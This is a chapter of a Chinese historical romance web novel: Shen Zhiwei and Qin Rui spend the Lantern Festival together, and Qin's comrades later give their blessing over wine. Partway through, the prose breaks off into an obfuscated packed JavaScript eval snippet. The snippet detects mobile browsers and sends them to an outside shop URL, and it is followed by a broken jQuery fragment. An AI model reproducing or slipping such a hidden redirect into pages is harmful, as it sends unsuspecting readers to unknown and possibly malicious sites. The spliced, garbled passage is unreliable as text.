崇祯七年，正月十五，延安府城，元宵灯市。
这年的元宵，与往年不同。
早在一个月前，沈知微便得了一句话。那日秦锐来道署送新年的第一份军报，临走时，在廊下忽然顿住脚步，回头极快极轻地说了一句：“正月十五，姑娘若得空，末将想请姑娘一道去看灯。”他说得极快，像怕自己慢了一分，那点积攒了不知多久的勇气便要泄干净。沈知微当时正低头翻他送来的军报，闻言指尖微微一顿，抬眼时，却只瞧见他一个几乎称得上仓皇的背影，和那对因为紧张而微微发红的耳尖。
她没答好，也没答不好。只是正月十五这日，王嬷嬷替她捧出那件湖蓝缠枝纹褙子时，她没有如往常那般推辞，只极轻极轻地“嗯”了一声。
“姑娘，今日可得好好梳洗。”王嬷嬷喜得眼睛都眯成了缝，又取出一套从未动过的胭脂螺黛，摆在铜镜前，“老奴瞧得真真的，那位秦小爷，可是头一个亲口来请姑娘看灯的人。姑娘今日，合该好好打扮打扮。”
沈知微坐在镜前，由着王嬷嬷替她匀面。那铜镜已有些年头了，镜面被磨得光亮，只是边缘处泛着几道极细的锈痕，将她的面容映得微微发黄。她好些年没认真照过这面镜子了。镜中人，比六年前丰润了几分，两颊不再透着病恹恹的苍白，倒泛着一层极淡极薄的红，是这几年总在田间地头奔走，被日头与风细细养出来的。王嬷嬷先用极轻极细的米粉替她调了面，又用螺黛极轻极轻地描了描眉。那眉本就生得好，只需极淡一笔，便像远山入了画。然后是胭脂。王嬷嬷用指尖蘸了极少许，在她两颊上慢慢研开，那颜色极淡，淡得几乎看不出，只在灯下才透出一层极柔极暖的晕。
“姑娘生得好，原用不着这些。”王嬷嬷退后两步，端详了半晌，眼眶竟有些发红，“只是今日，到底不同些。这花黄老奴不给你贴了，只把鬓边这支戴好。”
她说着，取出一支极小巧的累丝银蝶簪，极轻极轻地插进沈知微鬓中。那蝶翅薄如蝉翼，随着她转头的动作一颤一颤，像要从发间活过来。沈知微望着镜中的自己，忽然觉得喉头有些发紧。她已许久不曾这样好好看过自己了。那眉眼，那唇，那颊上极淡极薄的绯色，都还年轻着，都还在。
“嬷嬷。”她轻声道，“我这样，会不会太……”
“太什么？”王嬷嬷笑得极暖，“姑娘这样，刚刚好。”
沈知微便不再说话了。她起身，披上那件湖蓝褙子，又系了件素白的斗篷。那斗篷领口处缀着一圈极细极软的兔毛，被窗缝里漏进来的风一吹，轻轻地拂着她的下颌，像一只极温柔的手，在替她理着鬓边那支蝶。
秦锐来得极准时。
沈知微出得府门时，月亮正从东边那排屋脊后头一点一点地升起来，极清极淡，像一块被水洗过的白玉，温温吞吞地悬在城头。秦锐立在门外那株老槐下，听见门响，极快地转过身来。他今日没穿甲，只着了件月白色的直裰，外头是件玄色暗纹的披风，腰间束了根鸦青革带，连那块惯常悬着的营中铜牌也取下了，只留一枚极小的玉坠，在月光下泛着温温润润的光。他的头发束得比往日更齐整，几缕碎发从额前落下，被风轻轻拨着，倒衬得那张脸愈发清俊。
他看见沈知微的第一眼，便怔在了那里。
那怔然极明显，明显得让沈知微有些想笑，又有些说不出的慌。她看见他的目光极快地扫过她的眉，她的眼，她鬓边那支颤巍巍的银蝶，又极快地别开去，耳根像被人点了一小簇火，刷地便红了。那红色从耳根漫到脖颈，又漫进衣领里，像一滴落入宣纸的朱砂，洇得又急又满。
“沈姑娘。”他开口了，声音竟有些发哑，像被什么极烫极甜的东西在喉咙里堵了一下，“末将……末将是来请姑娘看灯的。”
他说得极认真，像在念一道军令。沈知微“嗯”了一声，垂下眼，低头看自己的脚尖。她的手指在袖中极轻极轻地绞着帕子，那帕子是临出门时王嬷嬷硬塞给她的，说“姑娘若不知手往哪放，便绞着它”。她忽然觉得，这满街的灯火还没点起来，自己的脸颊，倒先烧起来了。
“走吧。”她终于说，声音轻得像从风里漏出来的。
两人并肩走上市正街时，灯已经点起来了。
整条街像被谁从天上倒翻了一篓子星，一簇一簇地亮着，从城东头一直铺到城西尾。兔灯、莲灯、鲤鱼灯，形态各异，悬在木架与檐角之间，被夜风吹得轻轻摇晃，将满街行人的脸都映得忽明忽暗。卖元宵的摊子支着大锅，白气蒸腾，甜香直往人鼻子里扑；卖糖画的老翁手腕一翻，黄澄澄的糖浆便在青石板上勾出一只振翅的凤；说书先生惊堂木一拍，满座喝彩声像被人从底下点着了，轰然炸开。
秦锐走在她身侧，始终隔着半步的距离。那半步不近不远，恰恰好护着她不被往来人潮冲撞，又不至于贴得太近。他的脊背挺得极直，像一杆被灯火描亮的竹，偶尔侧过头来，极快极轻地看她一眼，那目光一触即走，像偷食的猫，偷着看了一眼，又忙不迭地缩回去。
“沈姑娘。”他忽然开口，指着前头一处烤红薯的摊子，“要不要，尝一个？”
沈知微顺着他指的方向望去。那摊子极简，一个铁皮炉子，炉壁贴满了紫红的薯块，白气从炉口一阵一阵地涌出来，裹着焦香与甜香。她点了点头。秦锐便快步上前，买了一个，又极自然地剥开外皮，将那金黄软糯的薯肉递到她手边。沈知微接过时，两人的指尖极轻极轻地碰了一下。那一下极快，像两片被风吹到一处的花瓣，还没来得及看清，便又分开了。她觉出自己的指尖有些发麻，忙低下头，小口小口地咬着那红薯。那甜味从舌尖漫开，一直暖到胃里。
“好吃吗？”秦锐问。他手里也捧着一个，却一口没动，只拿那双眼睛望着她，目光温温的，像浸了这满街的灯火。
“好吃。”沈知微说。她忽然笑了，那笑意极轻极浅，却像往这满街的热闹里，又添了一盏极亮极暖的灯，“比六年前，我在城西地里蒸出来的，还要甜。”
秦锐便也笑了。那笑意从他眼底漫出来，极清极朗，像山涧里刚解冻的水。他没再说话，只是极自然地又往她身侧靠了靠，将她与一个扛着糖人的汉子隔开。那动作极轻，像是做了千百遍，又像是第一次。
两人便这样，一路慢慢地走。走到灯市中段，秦锐见她望着那处猜灯谜的摊子出了神，便道：“姑娘若是喜欢，末将去试试。”
沈知微摇头，故意道：“你还会猜谜？”
“不敢说会。”秦锐笑，声音里带着几分少年人藏不住的自信，“只是姑娘若想要哪一盏灯，末将说什么，也要替姑娘赢下来。”
沈知微被他这话逗得弯了眉眼，伸手一指最高处那盏走马灯：“那我要那个。”
秦锐仰头一看，那走马灯挂得最高，灯下谜面也写得最难。他只看了一眼，便挤进人群，找了那摊主，朗声报出了谜底。那摊主啧啧称奇，亲自爬上梯子，将那走马灯摘了下来，递到他手中。秦锐捧着灯出来时，满街灯火都像往他肩上落，映得他那张脸，亮堂堂的，像一尊从灯海里走出来的、极年轻极好看的神。
“给。”他将灯递过来，笑得有些得意，又有些傻气。
沈知微接过灯，指尖拂过那竹篾灯骨上细密的花纹，心里像被什么极软极暖的东西，一点一点地填满了。她仰起脸望他，道：“秦队正，今年这灯，算我欠你一个人情。”
秦锐忙道：“不用不用，本来就是末将请姑娘看灯，这是应该的。”
“那便不算人情。”沈知微将灯拢得近了些，那走马灯上的影子便在她脸上悠悠地转，“只算这满城灯火里，最合我心意的一盏。”
秦锐听她这样说，又怔住了。他那双极亮的眼睛里，像有什么极烫极烫的东西，极快地涌了一下，又被他极快地按了回去。他张了张嘴，到底没说出什么，只将头极轻极轻地低了下去。月光与灯光交叠着落在他微垂的眉眼上，像给他周身都镀了一层极淡极淡的金。
沈知微望着他，心里忽然极轻极轻地叹了一口气。她想，完了。有些什么东西，怕是再也按不回去了。
两人又走了好一会儿，直到灯市的喧嚣都开始慢慢往回收。那些提着灯的孩子渐渐散了，摊子也开始三三两两地收。沈知微抬头望了望天，月亮已经升到了正头顶，清凌凌地照着，像一面刚出水的银盘。她忽然觉得，这满街的光，都在这一刻静了。
“该回去了。”她轻声道。
秦锐“嗯”了一声，没有多话。两人便沿着来路，慢慢地往沈府走。风从身后吹过来，将她的斗篷与他的披风都吹得往一处掀。灯光把他们并肩的影子拖在青石板上，一长一短，又渐渐交叠在一处，分不清哪一片是他的，哪一片是她的。
到了沈府门前，秦锐极有分寸地停下脚步。那阶上已经挂起了两盏灯笼，红蒙蒙的光从里头透出来，像两团不肯散去的旧梦。沈知微转过身，面对他。她看见他袍摆上沾着几点不知哪儿溅上的糖浆，看见他额前那几缕碎发被风吹得有些乱，看见他望着她时，那双眼底来不及收起来的、极深极软的什么。
“今晚。”她说，声音很轻，“我过得很欢喜。”
秦锐极重极重地点了点头。他像是用了极大力气，才把嘴角那点笑给压下去，可那笑还是从眼角眉梢溢了出来，溢得满身都是。
“姑娘欢喜，末将便也欢喜。”他说。
沈知微没再说话。她只是极轻极轻地、朝他笑了一下，然后转身，一步步走上台阶，推门进去了。那门在她身后极轻极慢地合上，将外头的灯火与他都隔了开来。可她立在门里，背靠着那扇微凉的门板，极慢极慢地抬起手，轻轻按住了自己的胸口。那里头，有什么东西跳得又急又乱，像一尾被惊着了的鱼。
王嬷嬷不知从哪儿冒出来，见她这副模样，捂嘴笑得直打跌：“姑娘，脸都红到耳朵根了！”
沈知微嗔了她一眼，没说话，只抱着那盏走马灯，低头往里走。只是走了两步，又忍不住回头，朝那扇已经关严的门，极轻极轻地望了一眼。
沈府门外，秦锐却没走。
他刚转过身，便被几道黑影截住了。那几人，不知什么时候便已经候在了巷口的老槐下。王二打头，穿着一身半旧的深褐棉袍，背着手，古铜色的脸在灯笼的余光里显得极沉。他身后，石彪和狗剩一左一右，狗剩还探着脖子，朝沈府大门的方向张望，脸上的笑憋都憋不住。再后头，还跟着赵铁牛。赵铁牛今夜话不多，手里提着个酒葫芦，只冲秦锐极轻极轻地点了点头，又仰头饮了一口。
“秦锐你这小子。”王二开口，声音不高，却像块石头稳稳地砸在地上，“今晚这灯，逛得可还尽兴？”
秦锐先是一愣，待看清是他们几个，便也笑了，笑得极坦然：“王头领，石头哥，狗剩哥，赵大哥。你们怎么来了？”
“来接你。”王二说。他朝巷子另一头偏了偏头，“走吧。营里哥几个温了壶酒，给你留着。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891012|212732||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>秦锐怔了一下。他低头望了望自己的手。那只手，今晚替沈知微剥过红薯，也替她赢过一盏灯。此刻被夜风一吹，似乎还残着一点极淡极淡的、属于她的温度。他忽然就笑了，说：“好。喝几杯。”
四人便往营里去。
营房的小院里，果然温着一壶酒。火盆上的炭火还没熄，红通通地亮着，将几人的脸都映得暖洋洋的。狗剩第一个抢了话头，叽叽喳喳地说着今晚灯市上的趣事，说哪个摊子的糖画最贵，说哪个姑娘的兔子灯最圆。秦锐坐在他对面，笑着听，偶尔接一句。王二和石彪一左一右地坐着，慢慢喝酒。赵铁牛不掺和，只在一旁安安静静地喝他自己的，那酒葫芦举起来又放下，极有节奏。
喝到后头，石彪先上了头。
他这人，平日里在营中最是悍勇，喝酒却是个不济事的。几碗下去，脸已经红到了脖子根，舌头也大了。他“砰”地一下把碗往桌上一放，拍着秦锐的肩膀，笑得前仰后合：“秦兄弟！我给你讲一则乌龙事，大前年除夕那回，头儿、头儿他为了你……啊不是，为了沈姑娘！”
他这话一出，狗剩正要去夹炭的手，猛地就僵在了半空。
“就是那回！狗剩这臭小子传错了话！”石彪越说越来劲，唾沫星子都喷了出来，“说是道尊要请头儿去议亲！头儿信了，领着咱们抬了八样礼，穿得跟个新郎官似的，浩浩荡荡就往沈府去了！结果到了门口，人家说，就是吃个年夜饭！哈哈哈哈哈……”
他笑得极响，那笑声在小院里荡来荡去，撞得四面墙都像在应和。可笑着笑着，他便笑不动了。因为他发现，满院子的人，没有一个人跟着他笑。
狗剩把头埋得极低，手里那根拨炭的棍子停在半空，像是被谁施了定身法。赵铁牛像没听见似的，仍旧一口一口地喝酒，只是那葫芦举得比方才更慢了。秦锐则是一脸震惊地转过头，看看石彪，又看看王二，再看看狗剩，嘴唇微微张着，像是不敢相信自己听见了什么。
石彪的酒意，像被这满院的寂静兜头浇了一盆冷水，霎时便醒了大半。他张了张嘴，又张了张嘴，想找补什么，最后只极轻极轻地“嗐”了一声，低下头去，不再说话了。
“石头。”王二开口了。
他仍坐得极直，手里那碗酒还剩小半，火光一照，那酒面上浮着一层极淡极薄的油光。他没有看任何人，只极慢极慢地将那碗酒转了转，又转了转，像在转一个旧得不能再旧的陀螺。
“那桩事，也没什么不能提的。”他说。声音不高，却极稳，像一块泡在深水里的老树根，又沉又定，“俺是动过那个心思。沈姑娘那样的人，谁见了不动心思？俺一个粗人，动了心思，也不丢人。”
他说到这儿，极轻极轻地笑了一下。那笑里没有苦，没有酸，只有一种被岁月磨得极粗极厚、却也极真极实的坦荡：“后来姑娘没应。俺就明白了。这世上的事，从来不是谁先动了心思，便该归谁。她值得更好的。你秦锐，就是那个更好的。”
他转过脸来，望着秦锐。那目光又深又稳，像一条走了很远很远的河，最后流到了该去的地方。
“你生得好，读过书，又年轻，往后前程大着呢。你跟她，登对。”王二说，“这些日子，你俩的事，俺都瞧在眼里。她看你的眼神，跟看俺们，不一样。只要她好，俺就高兴。”
他说到这儿，忽然顿了一下。那满院的风都像停了一瞬。然后他极重极重地伸出手，在秦锐肩上拍了一下。
“只一句。”王二说，声音忽然沉了下去，像一柄从鞘中慢慢抽出的刀，“莫要负她。若教俺知道你做了半点对不起她的事，俺这延安营上下，一个也饶不了你。”
秦锐的身子极轻极轻地一震。他没有说话，只慢慢站起来，端起自己面前那碗酒，对着王二，极郑重地举了起来。那酒碗在他手中，极稳，极平，像他此刻的心。
“头儿。”他的声音有些发紧，却字字清楚，“我记住了。”
王二望着他，极轻极轻地点了点头。然后他端起碗来，也站了起来。两人面对面，一老一少，一个像山，一个像竹，碗沿极轻极轻地碰了一下，发出“叮”的一声清响。
“喝酒！”王二说。这一回，他的声音里重新有了暖意，像冰面下重新流动起来的水，“今晚这事儿，翻篇了。咱们还是兄弟，该喝喝，该乐乐，莫要为了这点子陈年旧账，伤了自家人的情分。”
他说着，仰头将那碗酒饮尽，又朝石彪和狗剩各踹了一脚，笑骂道：“都傻了不成！接着喝！狗剩，去把灶上那锅羊汤也端来！”
满院的气氛，便又一点一点地活了过来。石彪如蒙大赦，抢着去端羊汤。狗剩也终于直起了腰，嘿嘿地笑，又忙着往火盆里添炭。赵铁牛将手里的酒葫芦朝秦锐晃了晃，极轻极轻地“嘿”了一声，也不知是在笑，还是在叹。
秦锐仍立在那里。他望着王二重新落座，又去给石彪倒酒。火光映在王二的侧脸上，将那道浅疤照得忽明忽暗，像一轮极旧极旧的弯月，冷冷地，暖暖地，挂在那里。
他忽然就笑了。那笑极轻极浅，像这满院重新热闹起来的夜色里，最静最静的一盏灯。他慢慢坐下去，将碗中残酒一口饮尽。
月亮已经偏西了。白晃晃的光铺下来，照在这几个正在喝酒的汉子身上。远处天边，有极淡极淡的、将明未明的青。这一夜，终究是要过去了。可有些东西，却像这满院将熄未熄的炭火，红的还红着，烫的还烫着，只等风来，便又是一片燎原。